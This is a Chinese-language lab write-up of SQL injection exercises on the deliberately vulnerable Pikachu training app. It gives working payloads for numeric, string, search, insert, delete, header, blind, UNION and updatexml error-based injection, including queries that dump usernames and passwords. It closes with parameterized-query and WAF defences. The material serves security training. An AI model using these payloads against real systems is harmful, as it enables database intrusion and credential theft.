概述

在Owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

  1. 对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
  2. 使用参数化(Parameterized Query 或 Parameterized Statement);
  3. 还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

数字型注入(POST)

  • 先在下拉框任意选择一项,点击查询,在网络选项卡可看到以POST方式提交的表单

sql-1

  • 通过页面的返回已经提示这里是数字型注入,那么可以猜测其后端逻辑大致如下
select 用户名,用户邮箱 from 表名 where 列名=1
  • 所以可以直接构造Payload得到数据。这里利用HackBar插件,启用POST方式。
submit=查询&id=1 or 1=1 -- 
  • 将此Payload传递进去后,后端会如下执行语句,返回全部用户数据
select 用户名,用户邮箱 from 表名 where 列名=1 or 1=1 -- 

sql-2

字符型注入(GET)

  • 通过以下输入,判断后端语句为单引号闭合
1     # 正常返回
1'    # 页面报错
1"    # 正常返回
  • 猜测后端逻辑
select 字段 from 表名 where 列名='1'
  • 构造Payload
1' or 1=1 # 

搜索型注入

  • 测试
1     # 正常返回
1%    # 正常返回
1%'   # 页面报错
1%"   # 正常返回
  • 猜测后端逻辑
select 字段 from 表名 where 列名 LIKE '%1%'
  • Payload
1%' or 1=1 # 

XX型注入

变量的拼接类型是多种多样的,不仅仅限于以上3种类型。所以核心思想是猜测后台语句类型,使用各种闭合进行测试,构造合法SQL语句欺骗后台。
  • 没有提示,只能通过各种组合进行测试
1     # 正常返回
1'    # 页面报错
1"    # 正常返回

  • 判断为单字符闭合+搜索型。继续猜测后端逻辑
1' or 1=1 #     # 页面报错
1'% or 1=1 #    # 页面报错
1') or 1=1 #    # 返回全部数据

  • 最终得到后端逻辑为
select 字段 from 表名 where 列名 LIKE ('1')
  • Payload
1') or 1=1 # 

Insert/update注入

Insert和update注入漏洞一般存在于新增或修改用户信息的地方。
  • 这里进入insert/update注入漏洞环境,点击注册。在账户名处输入',任意填写密码,点击注册。发现页面报错,即可能存在报错注入
  • 此处后台执行的SQL语句如下
insert into member(username,pw,sex,phonenum,email,address) values('naraku','123',1,2,3,4)
  • 构造以下Payload并在账户处输入
-- Payload
' or updatexml(1, concat(0x7e, database()), 0) or '

-- 后台执行如下
insert into member(username,pw,sex,phonenum,email,address) 
values('' or updatexml(1, concat(0x7e, database()), 0) or '','123',1,2,3,4)

  • 此时会返回updatexml()中的查询语句
  • 任意注册一个账户并登录,点击修改个人信息。在任意一栏输入',也会发现页面报错。贴入以上Payload,得到同样结果。

delete注入

  • 进入delete注入漏洞环境,先任意输入一些留言
  • 点击删除,可以看到访问的url为:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=1
  • 后台SQL语句
delete from message where id={$_GET['id']};
  • 这里是数字型注入,构造Payload
-- Payload
1 or updatexml(1,concat(0x7e, database()),3)

-- 后台执行如下
delete from message where id=1 or updatexml(1,concat(0x7e, database()),3)

http header注入

有时候后台需要通过HTTP Header头获取客户端的一些信息,如UserAgentAccept字段等,会对客户端的HTTP Header信息进行获取并使用SQL进行处理,可能会导致基于HTTP Header的SQL注入漏洞

  • 这里进入HTTP Header漏洞,使用admin/123456登录一下,可以看到UserAgentAccept字段被记录

sql-3

  • 点击退出,重新登录并抓取第二个包。然后发送到Repeater,将UserAgent修改为单引号',可以看到返回报错

sql-4

  • 猜测此处存在漏洞,构造Payload,这里Payload跟前面insert漏洞的Payload一样
' or updatexml(1,concat(0x7e, database()),3) or '

sql-5

布尔盲注(Base on boolian)

前面的注入都是有明显报错信息返回的,但是很多时候网站会对这些报错信息进行屏蔽,或者经过处理后返回一些标准的信息,此时无法根据报错信息进行注入的判断。而这里的布尔盲注是通过对比网站对于"真"和"假"的返回结果,从而构造SQL查询语句,并根据网站返回结果来判断该语句的结果为真还是假

  • 此处布尔注入漏洞,当输入为真,即该用户存在时,返回用户信息。用户不存在或者语句为假时返回该username不存在,并且已知kobe这个用户存在。因此可以构造语句如下:
kobe' and length(database())>6 #
kobe' and length(database())>7 #

  • 使用length()函数来获取当前数据库名的长度并进行比较,在>6时返回用户信息,即证明为真;>7时返回username不存在,即为假。由此可判断该数据库的长度为7
  • 继续构造语句来猜解库名
kobe' and ascii(substr(database(),1,1))>111 #
kobe' and ascii(substr(database(),1,1))>112 #  =>p

...

kobe' and ascii(substr(database(),7,1))>116#
kobe' and ascii(substr(database(),7,1))>117#  =>u

  • 此处substr(database(),1,1))为从database()返回的数据库名中的第1位开始取值,取1位。并通过ascii()函数转换为ASCII码,将其分别与111和112进行比较。当该ASCII码>111时返回真,>112时返回假。由此可知该ASCII码为112,即p。以此类推,可以猜解出各个位置的字母,组合得到库名pikachu

时间盲注(Base on time)

如果说基于Boolean的盲注在页面上还可以看到真和假不同的回显的话,那么如果页面上什么回显都没有呢?这里就要用到基于时间的盲注,通过特定的输入,判断后台执行的事件,从而确定注入。

  • 此处进入时间盲注漏洞,通过构造以下Payload来判断是否存在时间盲注
kobe' and sleep(5) #
  • 通过控制台可以看到,原本打开这个页面的时间为4.05s我也不知道为什么这么慢...),提交以上Payload后返回的时间为9.11s,延迟了5s,由此可以确认此处存在时间盲注。

sql-6

  • 确认存在时间盲注后,可以使用if语句并通过返回的时间进行判断。构造Payload如下
kobe' and if(length(database())>6, sleep(5), null)  # 
kobe' and if(length(database())>7, sleep(5), null)  # 
  • 可以在控制台看到当数据库名长度>6时暂停了5秒,>7时没有暂停。由此可知数据库名长度为7

sql-7

  • 最后可以构造以下Payload猜测库名,原理同上
kobe' and if((substr(database(),1,1))='a' , sleep(5), null) #
kobe' and if((substr(database(),1,1))='p' , sleep(5), null) #

宽字节注入

  • 视频讲解较少,后续另开文章。

总结

常见注入类型

  • 数字型:id=$id
  • 字符型:id='$id'
  • 搜索型:text like "%{$_GET['id']}%"

Information_schema利用

MySQL 5.0以上版本自带数据库information_schema,记录当前MySQL下所有数据库名、表名、列名。

基础

  • information_schema提供了访问数据库元数据的方式,元数据包括数据库名、表名、字段数据类型、访问权限等信息。符号点.表示下一级
  • Information_schema.schemata :记录库名信息的表

    • schema_name:记录库名的字段
  • Information_schema.tables:记录表名信息的表

    • table_schema:记录库名的字段
    • table_name:记录表名的字段
  • Information_schema.columns :记录列名信息的表

    • table_schema:记录库名的字段
    • table_name:记录表名的字段
    • column_name:记录列名的字段

实战

这里利用字符型GET注入漏洞获取Pikachu库中用户数据

  • 判断闭合
x' or 1=1 #  
  • 猜列数
x' order by 2 #    -> 正常返回
x' order by 3 #    -> 返回错误,即可知列数为2
  • 获取数据库名,当前用户名
x' union select database(),user() #
  • 查询全部库,可以看得库名Pikachu
x' union select 1,schema_name from information_schema.schemata #
  • 查询Pikachu库中的全部表名:httpinfomembermessageusersxssblind
x' union select 1,table_name from information_schema.tables where table_schema="pikachu" #
  • 查询Pikachu库users表中的全部列名:idusernamepasswordlevel
x' union select 1,column_name from information_schema.columns where table_schema="pikachu" and table_name="users" #
  • 获取数据。从users表中查询usernamepassword
x' union select username,password from users #

报错注入

基础

  • 条件:后台没有屏蔽数据库报错信息,在语法发生错误时会输出到前端
  • 思路:在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。seletc/insert/update/delete都可以使用报错来获取信息
  • 常用函数:updatexml(XML_Document, XPath_String, New_Value)

    • XML_Document,表中字段名
    • XPath_String,XPath格式的字符串
    • New_Value,替换的值
  • 此函数的作用是改变(查找并替换)XML文档中符合条件的节点的值。其中XPath定位参数必须是有效的,否则会发生错误。这里是思路是将查询表达式放在该参数中,查询结果会跟着报错信息一并返回。
  • 其它函数:ExtractValue((XML_Document, XPath_String)

实战演示

  • 这里利用Pikachu靶场字符型注入(GET)进行演示。随便输入一个单引号',可以看到返回报错信息,尝试报错注入
  • 构造Payload
' and updatexml(1, version(), 0) # 
  • 此处结果为XPATH syntax error: '.53',可以看到返回的版本号显示不全,需要利用concat()函数
  • concat()函数可以把传进去的2个参数组合成一个完整的字符串并返回,同时也可以执行表达式,可以把参数和表达式执行的结果进行拼接并返回。0x7e~的十六进制,可以防止返回的查询结果被截断。
' and updatexml(1, concat(0x7e, version()) ,3) #
  • 此时返回的结果是XPATH syntax error: '~5.5.53'
  • 报错只能显示一行。假如执行以下语句获取表名,则会报错:Subquery returns more than 1 row
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" )) ,0) #
  • 可以通过limit来操作返回的数量。limit 0,1为从第0个开始取,取1条
' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 0,1)) ,3) #

......

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema="pikachu" limit 4,1)) ,3) #

  • 后面获取列名也是一样
' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 0,1)),3) #

......

' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_schema="pikachu" and table_name="users" limit 3,1)),3) #
  • 最后获取数据
' and  updatexml(1,concat(0x7e, (select username from users limit 0,1)),3) #
' and  updatexml(1,concat(0x7e, (select password from users limit 0,1)),3) #

暴力破解表名列名

  • 基本的Payload如下,可搭配Burp的爆破功能进行暴力破解
' and exists(select * from users) # 
' and exists(select id from users) # 

常见防范措施

Hacker -> WAF -> WebServer -> Database

  • 代码层面

    • 对输入进行严格的转义和过滤
    • 推荐:使用预处理和参数化
# PHP中使用PDO的prepare预处理
$username = $_GET['username'];
$password = $_GET['password'];

try{
    $pdo = new PDO('mysql:host=localhost; dbname=ant', 'root', 'root');
    $sql = "select * from admin where username=? and password=?";
    $stmt=$pdo->prepare($sql);  // 预处理,先不传参
    $stmt->execute(array($username, $password));  // 以索引数组方式传参,而不是拼接,就成功防止了注入
}catch(PDOException $e){
    echo $e->getMessage();
}

  • 网络层面

    • 通过WAF设备启用防SQL注入策略
    • 云端防护(360网站卫士、阿里云盾等)
最后修改:2020 年 02 月 23 日 02 : 38 PM
如果觉得我的文章对你有帮助,请我吃颗糖吧~